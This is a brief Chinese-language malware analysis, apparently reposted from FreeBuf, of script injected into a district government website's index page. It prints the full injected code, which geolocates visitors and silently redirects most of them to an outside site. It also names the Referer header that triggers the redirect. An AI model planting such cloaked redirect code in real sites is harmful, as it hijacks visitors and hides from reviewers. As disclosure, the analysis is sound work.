大庆市大同区人民政府网挂马分析

网站名称

大庆市大同区人民政府网

网站域名

www.dqdt.gov.cn

挂马页面

http://www.dqdt.gov.cn/index.php

挂马代码

<script language="javascript" type="text/javascript" src="http://js.users.51.la/19254252.js"></script>
<script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js"></script>

<script>
    if(remote_ip_info.province =='\u5317\u4eac') {

    } else if (remote_ip_info.country =='\u8d8a\u5357') {

    } else if (remote_ip_info.country =='\u83f2\u5f8b\u5bbe') {

    } else if (remote_ip_info.country =='\u9a6c\u6765\u897f\u4e9a') {

    } else if (remote_ip_info.country =='\u67ec\u57d4\u5be8') {

    } else{
        location.href="http://www.5588450.com/";
    }
</script>

代码分析

通过请求网址（http://int.dpool.sina.com.cn/iplookup/iplookup.php）获取当前访客地址，若地址不为“北京”、“越南”、“菲律宾”、“马来西亚”、“柬埔寨”，则页面跳转至“http://www.5588450.com/”。

触发执行

设置请求头为：Referer:http://bsb.baidu.com/

Via: freebuf